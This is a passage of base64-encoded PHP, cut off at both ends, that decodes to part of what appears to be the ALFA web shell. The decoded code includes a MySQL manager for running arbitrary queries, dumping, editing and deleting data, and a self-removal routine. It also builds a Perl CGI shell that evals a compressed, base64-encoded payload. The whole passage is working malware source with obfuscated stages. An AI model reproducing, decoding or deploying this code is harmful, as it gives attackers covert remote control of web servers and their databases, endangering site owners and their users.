gZWNobygiO1xuXG4iKTsKCQkJCQl9CgkJCQl9CgkJCQllY2hvIEBqc29uX2VuY29kZShhcnJheSgic3RhdHVzIiA9PiB0cnVlLCAiZmlsZSIgPT4gJGRiWyJkdW1wX2ZpbGUiXSkpOwoJCQl9CgkJfWVsc2VpZigkdHlwZSA9PSAibG9hZF90YWJsZXMiKXsKCQkJJHRhYmxlcyA9IGFycmF5KCk7CgkJCSRxX3RhYmxlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTSE9XIFRBQkxFUzsiKTsKCQkJJGNvdW50ID0gMDsKCQkJd2hpbGUoJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJHFfdGFibGVzKSl7CgkJCQlpZigkc3FsX2NvdW50KXsKCQkJCQkkY291bnRfcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICdTRUxFQ1QgQ09VTlQoKikgRlJPTSBgJy4kcm93WzBdLidgJyk7CgkJCQkJaWYoJGNvdW50X3EpewoJCQkJCQkkY291bnQgPSBAbXlzcWxpX2ZldGNoX3JvdygkY291bnRfcSk7CgkJCQkJCSRjb3VudCA9ICRjb3VudFswXTsKCQkJCQl9CgkJCQl9CgkJCQkkdGFibGVzW10gPSBhcnJheSgibmFtZSIgPT4gJHJvd1swXSwgImNvdW50IiA9PiAoaW50KSRjb3VudCk7CgkJCX0KCQkJZWNobyBAanNvbl9lbmNvZGUoJHRhYmxlcyk7CgkJfWVsc2VpZigkdHlwZSA9PSAiYWx0ZXIiKXsKCQkJJGRiWyJhbHRlciJdWyJ0eXBlIl0gPSBzdHJ0b2xvd2VyKCRkYlsiYWx0ZXIiXVsidHlwZSJdKTsKCQkJJGlucHV0cyA9ICRkYlsiYWx0ZXIiXVsidHlwZSJdLiIoIi4kZGJbImFsdGVyIl1bImlucHV0Il0uIikiOwoJCQkkdGV4dF9pbnB1dCA9IGFycmF5KCJsb25ndGV4dCIsICJ0ZXh0IiwgIm1lZGl1bXRleHQiLCAidGlueXRleHQiKTsKCQkJaWYoaW5fYXJyYXkoJGRiWyJhbHRlciJdWyJ0eXBlIl0sICR0ZXh0X2lucHV0KSl7CgkJCQkkaW5wdXRzID0gJGRiWyJhbHRlciJdWyJ0eXBlIl07CgkJCX0KCQkJQG15c3FsaV9xdWVyeSgkY29ubiwgIkFMVEVSIFRBQkxFIGAiLiRkYlsidGFibGUiXS4iYCBNT0RJRlkgQ09MVU1OIGAiLiRkYlsiY29sdW1uIl0uImAgIiAuICRpbnB1dHMpOwoJCQkkZXJyb3IgPSBAbXlzcWxpX2Vycm9yKCRjb25uKTsKCQkJaWYoJGVycm9yKXsKCQkJCWVjaG8gJGVycm9yOwoJCQl9ZWxzZXsKCQkJCWVjaG8gIm9rIjsKCQkJfQoJCX1lbHNlaWYoJHR5cGUgPT0gImVkaXQiIHx8ICR0eXBlID09ICJkZWxldGUiIHx8ICR0eXBlID09ICJkZWxldGVfYWxsIil7CgkJCWlmKCR0eXBlID09ICJlZGl0Iil7CgkJCQkkcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTRUxFQ1QgKiBGUk9NIGAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAgV0hFUkUgYCIuJGRiWyJjb2xfa2V5Il0uImAgPSAnIi5hZGRzbGFzaGVzKCRkYlsia2V5Il0pLiInIExJTUlUIDAsMSIpOwoJCQkJJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHEpOwoJCQkJaWYoJHJvdyl7CgkJCQkJJGNvbHVtbnNfcXVlcnkgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiU0VMRUNUIENPTFVNTl9OQU1FIGFzIG5hbWUsIENPTFVNTl9UWVBFLCBEQVRBX1RZUEUgYXMgdHlwZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIGBUQUJMRV9TQ0hFTUFgID0gJyIuJGRiWyJkYiJdLiInIEFORCBgVEFCTEVfTkFNRWAgPSAnIi4kZGJbInRhYmxlIl0uIiciKTsKCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJCQkJJGVkaXRfZGF0YSA9IGFycmF5KCk7CgkJCQkJd2hpbGUoJHJvdzIgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRjb2x1bW5zX3F1ZXJ5LCBNWVNRTElfQVNTT0MpKXsKCQkJCQkJJGlucHV0ID0gYXJyYXkoImNvbF90eXBlIiA9PiAkcm93MlsiQ09MVU1OX1RZUEUiXSk7CgkJCQkJCSRyb3cyWyJ0eXBlIl0gPSBzdHJ0b2xvd2VyKCRyb3cyWyJ0eXBlIl0pOwoJCQkJCQlzd2l0Y2goJHJvdzJbInR5cGUiXSl7CgkJCQkJCQljYXNlICJsb25ndGV4dCI6IGNhc2UgInRleHQiOiBjYXNlICJtZWRpdW10ZXh0IjogY2FzZSAidGlueXRleHQiOgoJCQkJCQkJCSRpbnB1dFsidGFnIl0gPSAidGV4dGFyZWEiOwoJCQkJCQkJYnJlYWs7CgkJCQkJCQljYXNlICJpbnQiOiBjYXNlICJzbWFsbGludCI6IGNhc2UgImJpZ2ludCI6IGNhc2UgInRpbnlpbnQiOiBjYXNlICJtZWRpdW1pbnQiOgoJCQkJCQkJCSRpbnB1dFsidGFnIl0gPSAiaW5wdXQiOwoJCQkJCQkJCSRpbnB1dFsidHlwZSJdID0gIm51bWJlciI7CgkJCQkJCQlicmVhazsKCQkJCQkJCWRlZmF1bHQ6CgkJCQkJCQkJJGlucHV0WyJ0YWciXSA9ICJpbnB1dCI7CgkJCQkJCQkJJGlucHV0WyJ0eXBlIl0gPSAidGV4dCI7CgkJCQkJCX0KCQkJCQkJJGNvbHVtbnNbJHJvdzJbIm5hbWUiXV0gPSAkaW5wdXQ7CgkJCQkJfQoJCQkJCWZvcmVhY2goJHJvdyBhcyAka2V5ID0+ICR2KXsKCQkJCQkJJGVkaXRfZGF0YVtdID0gYXJyYXkoImNvbCIgPT4gJGtleSwgInZhbHVlIiA9PiBodG1sc3BlY2lhbGNoYXJzKCR2LCBFTlRfUVVPVEVTLCAnVVRGLTgnKSwgInR5cGUiID0+ICRjb2x1bW5zWyRrZXldKTsKCQkJCQl9CgkJCQkJZWNobyBAanNvbl9lbmNvZGUoJGVkaXRfZGF0YSk7CgkJCQl9CgkJCX1lbHNlewoJCQkJaWYoJHR5cGUgPT0gImRlbGV0ZV9hbGwiKXsKCQkJCQkkcm93cyA9IGltcGxvZGUoIicsICciLCAkZGJbInJvd3MiXSk7CgkJCQl9ZWxzZXsKCQkJCQkkcm93cyA9IGFkZHNsYXNoZXMoJGRiWyJrZXkiXSk7CgkJCQl9CgkJCQkkcXVlcnkgPSAiREVMRVRFIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBXSEVSRSBgIi4kZGJbImNvbF9rZXkiXS4iYCBJTiAoJyIuJHJvd3MuIicpIjsKCQkJCUBteXNxbGlfcXVlcnkoJGNvbm4sICRxdWVyeSk7CgkJCQkkZXJyb3IgPSBAbXlzcWxpX2Vycm9yKCRjb25uKTsKCQkJCWlmKCRlcnJvcil7CgkJCQkgCSRzdGF0dXMgPSBmYWxzZTsKCQkJCX1lbHNlewoJCQkJIAkkc3RhdHVzID0gdHJ1ZTsKCQkJCX0KCQkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+ICRzdGF0dXMsICJlcnJvciIgPT4gJGVycm9yLCAicXVlcnkiID0+ICRxdWVyeSkpOwoJCQl9CgkJfWVsc2VpZigkdHlwZSA9PSAidXBkYXRlIil7CgkJCSRxdWVyeSA9ICJVUERBVEUgYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBTRVQgIjsKCQkJZm9yZWFjaCgkZGJbImRhdGEiXSBhcyAkY29sID0+ICR2YWwpewoJCQkJJHF1ZXJ5IC49ICJgIi4kY29sLiJgID0gJyIubXlzcWxpX3JlYWxfZXNjYXBlX3N0cmluZygkY29ubiwgJHZhbCkuIicsIjsKCQkJfQoJCQkkcXVlcnkgPSBzdWJzdHIoJHF1ZXJ5LCAwLCAtMSk7CgkJICAgICRxdWVyeSAuPSAiV0hFUkUgYCIuJGRiWyJjb2xfa2V5Il0uImAgPSAnIi4kZGJbImtleSJdLiInIjsKCQkJJHJlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICRxdWVyeSk7CgkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+ICRyZXMsICJlcnJvciIgPT4gQG15c3FsaV9lcnJvcigkY29ubikpKTsKCQl9ZWxzZWlmKCR0eXBlID09ICJpbnNlcnQiKXsKCQkJJHF1ZXJ5ID0gIklOU0VSVCBJTlRPIGAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAgIjsKCQkJZm9yZWFjaCgkZGJbImRhdGEiXSBhcyAkY29sID0+ICR2YWwpewoJCQkJJGNvbHMgLj0gJGNvbCAuICIsIjsKCQkJCSR2YWxzIC49ICInIi5teXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCAkdmFsKS4iJywiOwoJCQl9CgkJCSRjb2xzID0gc3Vic3RyKCRjb2xzLCAwLCAtMSk7CgkJCSR2YWxzID0gc3Vic3RyKCR2YWxzLCAwLCAtMSk7CgkJCSRxdWVyeSA9ICRxdWVyeSAuICIoIiAuICRjb2xzIC4gIikiIC4gIlZBTFVFUygiIC4gJHZhbHMgLiAiKSI7CgkJCSRyZXMgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAkcXVlcnkpOwoJCQllY2hvIEBqc29uX2VuY29kZShhcnJheSgic3RhdHVzIiA9PiAkcmVzLCAiZXJyb3IiID0+IEBteXNxbGlfZXJyb3IoJGNvbm4pKSk7CgkJfWVsc2V7CgkJCSRwYWdlcyA9IDA7CgkJCSR0aXRsZSA9IGZhbHNlOwoJCQkkcXVlcnkgPSAiIjsKCQkJJHRibF9jb250ZW50ID0gJzx0YWJsZSB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjEiIGNlbGxwYWRkaW5nPSIyIiBjbGFzcz0ibWFpbiBteXNxbC1kYXRhLXRibCIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSI+JzsKCQkJJGxpbmUgPSAwOwoJCQkkdGFibGVzID0gYXJyYXkoKTsKCQkJJGNvbHVtbnMgPSBhcnJheSgpOwoJCQlpZigkdHlwZSA9PSAibG9hZF9kYXRhIil7CgkJCQkkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIExJTUlUIDAsMzAiOwoJCQkJJHRibF9jb3VudF9xID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCBDT1VOVCgqKSBGUk9NIGAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAiKTsKCQkJCSR0YmxfY291bnQgPSBAbXlzcWxpX2ZldGNoX3JvdygkdGJsX2NvdW50X3EpOwoJCQkJJGNvbHVtbnNfcXVlcnkgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiU0VMRUNUIENPTFVNTl9OQU1FIGFzIG5hbWUsIENPTFVNTl9UWVBFIGFzIHR5cGUsIENPTExBVElPTl9OQU1FIGFzIGNvbGxhdGlvbiwgREFUQV9UWVBFIGFzIGRhdGFfdHlwZSwgQ0hBUkFDVEVSX01BWElNVU1fTEVOR1RIIGFzIHR5cGVfdmFsdWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSBgVEFCTEVfU0NIRU1BYCA9ICciLiRkYlsiZGIiXS4iJyBBTkQgYFRBQkxFX05BTUVgID0gJyIuJGRiWyJ0YWJsZSJdLiInIik7CgkJCQl3aGlsZSgkcm93MiA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJGNvbHVtbnNfcXVlcnksIE1ZU1FMSV9BU1NPQykpewoJCQkJCSRjb2x1bW5zW10gPSAkcm93MjsKCQkJCX0KCQkJCWlmKCR0YmxfY291bnRbMF0gPiAzMCl7CgkJCQkJJHBhZ2VzID0gY2VpbCgkdGJsX2NvdW50WzBdIC8gMzApOwoJCQkJfQoJCQl9ZWxzZWlmKCR0eXBlID09ICJxdWVyeSIpewoJCQkJJHF1ZXJ5ID0gJGRiWyJxdWVyeSJdOwoJCQl9ZWxzZWlmKCR0eXBlID09ICJwYWdlIil7CgkJCQkkZGJbInBhZ2UiXSA9IChpbnQpJGRiWyJwYWdlIl0gLSAxOwoJCQkJJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBMSU1JVCAiLigkZGJbInBhZ2UiXSozMCkuIiwzMCI7CgkJCX1lbHNlaWYoJHR5cGUgPT0gInNlYXJjaCIpewoJCQkJJHNlYXJjaCA9ICIiOwoJCQkJJHNlYXJjaF9ub3ZhbCA9IGFycmF5KCI9ICcnIiwgIiE9ICcnIiwgIklTIE5VTEwiLCAiSVMgTk9UIE5VTEwiKTsKCQkJCWZvcmVhY2goJGRiWyJzZWFyY2giXSBhcyAkY29sID0+ICR2YWwpewoJCQkJCSRzZWFyY2hfbm92YWxfciA9IGluX2FycmF5KCR2YWxbIm9wdCJdLCAkc2VhcmNoX25vdmFsKTsKCQkJCQlpZihlbXB0eSgkdmFsWyJ2YWx1ZSJdKSAmJiAhJHNlYXJjaF9ub3ZhbF9yKWNvbnRpbnVlOwoJCQkJCWlmKHN0cnN0cigkdmFsWyJvcHQiXSwgIi4uLiIpIHx8ICRzZWFyY2hfbm92YWxfcil7CgkJCQkJCSR2YWxbIm9wdCJdID0gc3RyX3JlcGxhY2UoIi4uLiIsICR2YWxbInZhbHVlIl0sICR2YWxbIm9wdCJdKTsKCQkJCQkJJHNlYXJjaCAuPSAkY29sIC4gIiAiIC4gJHZhbFsib3B0Il0gLiAiIEFORCAiOwoJCQkJCX1lbHNlewoJCQkJCQkkc2VhcmNoIC49ICRjb2wgLiAiICIgLiAkdmFsWyJvcHQiXSAuICIgJyIuYWRkc2xhc2hlcygkdmFsWyJ2YWx1ZSJdKS4iJyBBTkQgIjsKCQkJCQl9CgkJCQl9CgkJCQkkc2VhcmNoIC49ICIxPTEiOwoJCQkJJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBXSEVSRSAiIC4gJHNlYXJjaDsKCQkJfQoJCQkkcV90YWJsZXMgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAkcXVlcnkpOwoJCQlpZighJHFfdGFibGVzKXsKCQkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+IGZhbHNlLCAiZXJyb3IiID0+IEBteXNxbGlfZXJyb3IoJGNvbm4pLCAicXVlcnkiID0+ICRxdWVyeSkpOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJCSRjb2xfa2V5ID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCBDT0xVTU5fTkFNRSBGUk9NIElORk9STUFUSU9OX1NDSEVNQS5DT0xVTU5TIFdIRVJFIFRBQkxFX1NDSEVNQSA9ICciLkBhZGRzbGFzaGVzKCRkYlsiZGIiXSkuIicgQU5EIFRBQkxFX05BTUUgPSAnIi5AYWRkc2xhc2hlcygkZGJbInRhYmxlIl0pLiInIEFORCBDT0xVTU5fS0VZID0gJ1BSSSciKTsKCQkJaWYoJGNvbF9rZXkpewoJCQkJJGNvbF9rZXkgPSBAbXlzcWxpX2ZldGNoX3JvdygkY29sX2tleSk7CgkJCQkkY29sX2tleSA9ICRjb2xfa2V5WzBdOwoJCQkJaWYoIWVtcHR5KCRjb2xfa2V5KSl7CgkJCQkJJHRibF9jb250ZW50ID0gJzxkaXYgc3R5bGU9Im1hcmdpbi1ib3R0b206NXB4O21hcmdpbi10b3A6NXB4OyI+PGJ1dHRvbiBjb2xfa2V5PSInLiRjb2xfa2V5LiciIHRibF9uYW1lPSInLiRkYlsidGFibGUiXS4nIiBkYl9pZD0iJy4kZGJbImRiX2lkIl0uJyIgCWRiX3RhcmdldD0iJy4kZGJbImRiIl0uJyIgb25jbGljaz0iYWxmYU15c3FsRGVsZXRlQWxsU2VsZWN0ZWRyb3dzKHRoaXMpO3JldHVybiBmYWxzZTsiPkRlbGV0ZSBTZWxlY3RlZCBSb3dzPC9idXR0b24+PC9kaXY+PHRhYmxlIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMSIgY2VsbHBhZGRpbmc9IjIiIGNsYXNzPSJtYWluIG15c3FsLWRhdGEtdGJsIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOwoJCQkJfQoJCQl9ZWxzZXsKCQkJCSRjb2xfa2V5ID0gZmFsc2U7CgkJCX0KCQkJd2hpbGUoJGl0ZW0gPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRxX3RhYmxlcykpewoJCQkJaWYoISR0aXRsZSl7CgkJCQkJJHRibF9jb250ZW50IC49ICc8dHIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzMwNWI4ZTsiPic7CgkJCQkJaWYoJGNvbF9rZXkpewoJCQkJCQkkdGJsX2NvbnRlbnQgLj0gJzx0aCBzdHlsZT0id2lkdGg6IDU1cHg7dGV4dC1hbGlnbjpjZW50ZXI7Ij48aW5wdXQgZGJfaWQ9IicuJGRiWyJkYl9pZCJdLiciIG9uY2hhbmdlPSJhbGZhTXlzcWxUYmxTZWxlY3RBbGwodGhpcyk7IiB0eXBlPSJjaGVja2JveCI+PC90aD48dGggc3R5bGU9IndpZHRoOiA1NXB4O3RleHQtYWxpZ246Y2VudGVyOyI+RWRpdDwvdGg+PHRoIHN0eWxlPSJ3aWR0aDogNTVweDt0ZXh0LWFsaWduOmNlbnRlcjsiPkRlbGV0ZTwvdGg+JzsKCQkJCQl9CgkJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSl7CgkJCQkJCSR0YmxfY29udGVudCAuPSAnPHRoPicuJGtleS4nPC90aD4nOwoJCQkJCX0KCQkJCQlyZXNldCgkaXRlbSk7CgkJCQkJJHRpdGxlPXRydWU7CgkJCQkJJHRibF9jb250ZW50IC49ICc8L3RyPjx0cj4nOwoJCQkJfQoKCQkJCWlmKCRjb2xfa2V5KXsKCQkJCQkkY2FjaGVNc2cgPSAnPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCByb3dfaWQ9IicuJGxpbmUuJyIgdHlwZT0iY2hlY2tib3giIG5hbWU9InRibF9yb3dzX2NoZWNrYm94W10iIHZhbHVlPSInLiRpdGVtWyRjb2xfa2V5XS4nIj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48YSBjbGFzcz0iZGItb3B0LWlkIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBkYl9pZD0iJy4kZGJbImRiX2lkIl0uJyIgZGJfdGFyZ2V0PSInLiRkYlsiZGIiXS4nIiB0YmxfbmFtZT0iJy4kZGJbInRhYmxlIl0uJyIgY29sX2tleT0iJy4kY29sX2tleS4nIiBrZXk9IicuJGl0ZW1bJGNvbF9rZXldLiciIG9uY2xpY2s9ImFsZmFNeXNxbEVkaXRSb3codGhpcywgXCdlZGl0XCcpOyIgc3R5bGU9ImNvbG9yOiMwYWNhYTY7Ij5FZGl0PC9hPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxhIGNsYXNzPSJkYi1vcHQtaWQiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIGRiX2lkPSInLiRkYlsiZGJfaWQiXS4nIiBkYl90YXJnZXQ9IicuJGRiWyJkYiJdLiciIHRibF9uYW1lPSInLiRkYlsidGFibGUiXS4nIiBjb2xfa2V5PSInLiRjb2xfa2V5LiciIGtleT0iJy4kaXRlbVskY29sX2tleV0uJyIgcm93X2lkPSInLiRsaW5lLiciIG9uY2xpY2s9ImFsZmFNeXNxbEVkaXRSb3codGhpcywgXCdkZWxldGVcJyk7IiBzdHlsZT0iY29sb3I6I2ZmMWUxZTsiPkRlbGV0ZTwvYT48L3RkPic7CgkJCQl9CgkJCQkkdGJsX2NvbnRlbnQgLj0gJzx0ciBjbGFzcz0idGJsX3JvdyB0Ymxfcm93X2wnLiRsaW5lLiciPicuJGNhY2hlTXNnOwoJCQkJJGxpbmUrKzsKCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpewoJCQkJCWlmKCR2YWx1ZSA9PSBudWxsKXsKCQkJCQkJJHRibF9jb250ZW50IC49ICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7CgkJCQkJfWVsc2V7CgkJCQkJCSR0YmxfY29udGVudCAuPSAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOwoJCQkJfQoJCQkJfQoJCQkJJHRibF9jb250ZW50IC49ICc8L3RyPic7CgkJCX0KCQkJJHRibF9jb250ZW50IC49ICc8L3RhYmxlPic7CgkJCWlmKCEkdGl0bGUpewoJCQkJJHRibF9jb250ZW50ID0gIjxkaXYgc3R5bGU9J3BhZGRpbmc6NXB4O2JvcmRlcjoxcHggZGFzaGVkO21hcmdpbjoxMHB4Oyc+VGFibGUgaXMgZW1wdHkuLi48L2Rpdj4iOwoJCQl9CgkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+IHRydWUsICJ0YWJsZSIgPT4gJHRibF9jb250ZW50LCAiY29sdW1ucyIgPT4gJGNvbHVtbnMsICJwYWdlcyIgPT4gJHBhZ2VzLCAicXVlcnkiID0+ICRxdWVyeSkpOwoJCX0KCQlAbXlzcWxpX2Nsb3NlKCRjb25uKTsKCX0KfQpmdW5jdGlvbiBhbGZhc2VsZnJtKCl7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkmJiRfUE9TVFsnYWxmYTEnXT09J3llcycpewplY2hvKF9fcHJlKCkuJzxjZW50ZXI+Jyk7CmlmKEB1bmxpbmsoJEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10pKXsKZWNobygnPGI+U2hlbGwgaGFzIGJlZW4gcmVtb3ZlZDwvaT4gOik8L2I+Jyk7Cn1lbHNlewplY2hvICd1bmxpbmsgZXJyb3IhJzsKfQplY2hvKCc8L2NlbnRlcj4nKTsKfQppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ10hPSd5ZXMnKXsKZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+IjsKZWNobyAiCjxjZW50ZXI+PHA+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9mYXJ2YWhhci1pcmFuLnBuZ1wiPjwvcD4iOwplY2hvICc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5EbyB5b3Ugd2FudCB0byBkZXN0cm95IG1lPyE8L2Rpdj48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2VsZnJtXCcsbnVsbCxcJ3llc1wnKTsiPiBZZXM8L2E+JzsKZWNobyAnPC9wPjwvY2VudGVyPjwvZGl2Pic7Cn0KfQpmdW5jdGlvbiBhbGZhY2dpc2hlbGwoKXsKYWxmYWhlYWQoKTsKJGRpdiA9ICIiOwphbGZhQ3JlYXRlUGFyZW50Rm9sZGVyKCk7CkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fQUxGQV9EQVRBX0ZPTERFUl9fKTsKaWYoIWluX2FycmF5KCRfUE9TVFsnYWxmYTEnXSxhcnJheSgncGVybCcsJ3B5JykpKXsKJGRpdiA9ICI8L2Rpdj4iOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENHSSBTaGVsbCB8PC9kaXY+PC9wPjxoMz48YSBjbGFzcz0icmVqZWN0bWUiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSIgb25jbGljaz0icnVuY2dpKFwncGVybFwnKSI+fCBQZXJsIHwgPC9hPjxhIGNsYXNzPSJyZWplY3RtZSIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJydW5jZ2koXCdweVwnKTsiPnwgUHl0aG9uIHwgPC9hPic7Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSYmaW5fYXJyYXkoJF9QT1NUWydhbGZhMSddLGFycmF5KCdwZXJsJywncHknKSkpewpAbWtkaXIoJ2NnaWFsZmEnLDA3NTUpOwpAY2hkaXIoJ2NnaWFsZmEnKTsKYWxmYWNnaWh0YWNjZXNzKCdjZ2knKTsKJG5hbWUgPSAkX1BPU1RbJ2FsZmExJ10uJy5hbGZhJzsKJHBlcmwgPSAnIyEvdXNyL2Jpbi9wZXJsICAgLUkvdXNyL2xvY2FsL2JhbmRtaW4nLiJcbiIuJ3VzZSBNSU1FOjpCYXNlNjQ7dXNlIENvbXByZXNzOjpabGliO2V2YWwoQ29tcHJlc3M6OlpsaWI6Om1lbUd1bnppcChkZWNvZGVfYmFzZTY0KCJINHNJQUFBQUFBQUEvNlVaRFhmVFJ2S3ZMQnRoU1JCYnRrdGF6ckpjUXVKQTNpVWhseGp1OWFKZ1pHbHQ3ME9XVkgyUXBNYjk3VGV6dTdLa0VLQzB5VU9SWnVkN1ptZG1seUpqNVBUNGREd1l2UFF5OXZNenV3REFFUStaQkVUZWlnblF3VTFBZEcrV1RSTXZYK3EyNWkvNE5PQXBjUWc4RWNzb0Z3MnRhNXEyOWw4ZW5VMWd1V3RyWjVPRFZYREpFdmlpTFdwcmJ5TitXMEZzZ0J6RXE1VVhCUk8rWW5HUkh4YXBsL000Z3RVZWtGOHU0NXZETzVEQi9UZEZuaFE1d20wTnRCS0M0V3ZCOGpCZThJaDgvb3p2eVUzQkEwTWJtdmhOdlhEdW9ZaFNvS0ZVKzVWVWlnMUlUU2xUSUorRHdYVms2Z2NVOEdoeUUxREFPQWRMNy9PanJpdFFMRVM0WU9BWTV1ZHgyc1FoL1ZHclIzcWpWbC9nNGx0UHdJQW9LMmJrZ25uQnVaZUN5OWRoN0hzaE1aN3d5QVFlTDZhRXorRnBLN0RHZDRrRzcvRDh5TzdnK2NrTFFlNXBFZVk4OGRMOEtFNVhoMTd1QWFrMlBudTMxZy9lbkUzR1o1UHA1TGZ6c2I0aHpwL0VXcFhJcmpVSDlIWUErRGFaeFVVVWVPbWRZM1NlbXBwbDg3a2hPVnlNLy9OMmZEbVpubzRucjk4Y0FnLzJPNkd2eGhOcXJqVWViUVVCMHNWdjA4dkp4ZkhaSzMxamIxaVlmWnZGK1p0TDVKR0M2Y2JsNVBENERLemgwZTQ5dlUvR1o2OG1yL1dOYVcrMjdQNnVUYUR3U3dVQnRmVjJXKzlvUGZ0RnlEUE1yaXdKZVc1WVd4Ukw2QVBPZlEwYXN2UmxIQ0NWaHRoWHZlc21HRFJ3VXpmQ2Y1L2hUMlNWeTBqeHdkWktZcjE4L1pOa2drS3pBSlZIYTMwT3V3K1ZSbnVJUUtwWUFIZGN4cngzWElxMnVMUWtrL2k5MnBkZ1RTMXJjUitXSVF5OEEwbms5RzFsaWNhdjRaVS9mUXJPS1FFUy8zM25xWkFvVkt3dkFYZkR2VkZLUUJZcUJTQVRsWW5pRFZrWTc0MkdXMHp6c3dCbzhLV1pRc1V0N21PajB6R3R4UE0vR3RTbnUyVEpiZzJ0WjVyV2dnbERVSkt3RlNqc0RhWVhXNzhRK2FjQzF5b0RCaVl5ejEvQ0J6RzZwTk1oMmc2QU1Wa3I0OXluRmdIeFJtMFhWWndjeVFteGQwbmZWRVorVjhrZk5LVURaZER0VXR6ZlJzRG1QR0pRdnNwVkxLWjFUR1gxQm92RjJ5U012UURMOWRwZnhvbWhUYndVQ3VBWkJNc1UzR29BZE5oQmthWXN5Zzk1YXFKK0srdktkVjNyR3ZhNE5rbTlLSnV6RkptSnRVZkcxWHZydmV0ZVB6RzFSM2FkRVNxaDZoL3VHcldFaEpmOEQ1VERvOXlBSkYxZ00yaG10RWtzcU9uOVp5WVdsVGhoa2ZIMi9PVE4vdUhSOGNsNGw5QlJUUXcxemZXTVI2czRZRFVrWVphc3BuYVNnaUJTclpGN3dtdy9qTE1Hc1NLaHBiRXNJUGUxLy9mTGpodFJoYWhQbG93Z1EwTDF6a3oxdzRhWE96b2xOMTVHQ2hFSjRKY1Z2cyt5YkY2RTRWMUhsOG1wcEI1NXFCcjBta2ZVbHZFN3h3VVVyUUlKOVlxc05TeGJXSldHUHNTS3BhT2hBTVFSVUt4NDd0Qjh5Yk9PL09nRVBQTm13TlhKMDRMWllpWG9RSVlVekpubHNXY1VFY3Q4TDJFR2kzenc1TnVMWStpMVNSd0JaNk9PYlVLYVVRSkkrVjNDSExvdG9sVU5wV1RGOG1VY09MSmNFOC9ISHUyQVk3UkxQK1ZKZmdKOUNVSGdrdEV3OUdZc0pFRHNVT1dhRktCWjRrV0VBNHZwZEk2dUxCSUFXZ2dka1dHV3AzRzBHTFdpV1piWThubXdqQ0dDeEJNeEFFU0pNYlFFOTlHUVJ6Z05aUGxkQ0NxREo1TFF1eHRFWUJ5WWdsSz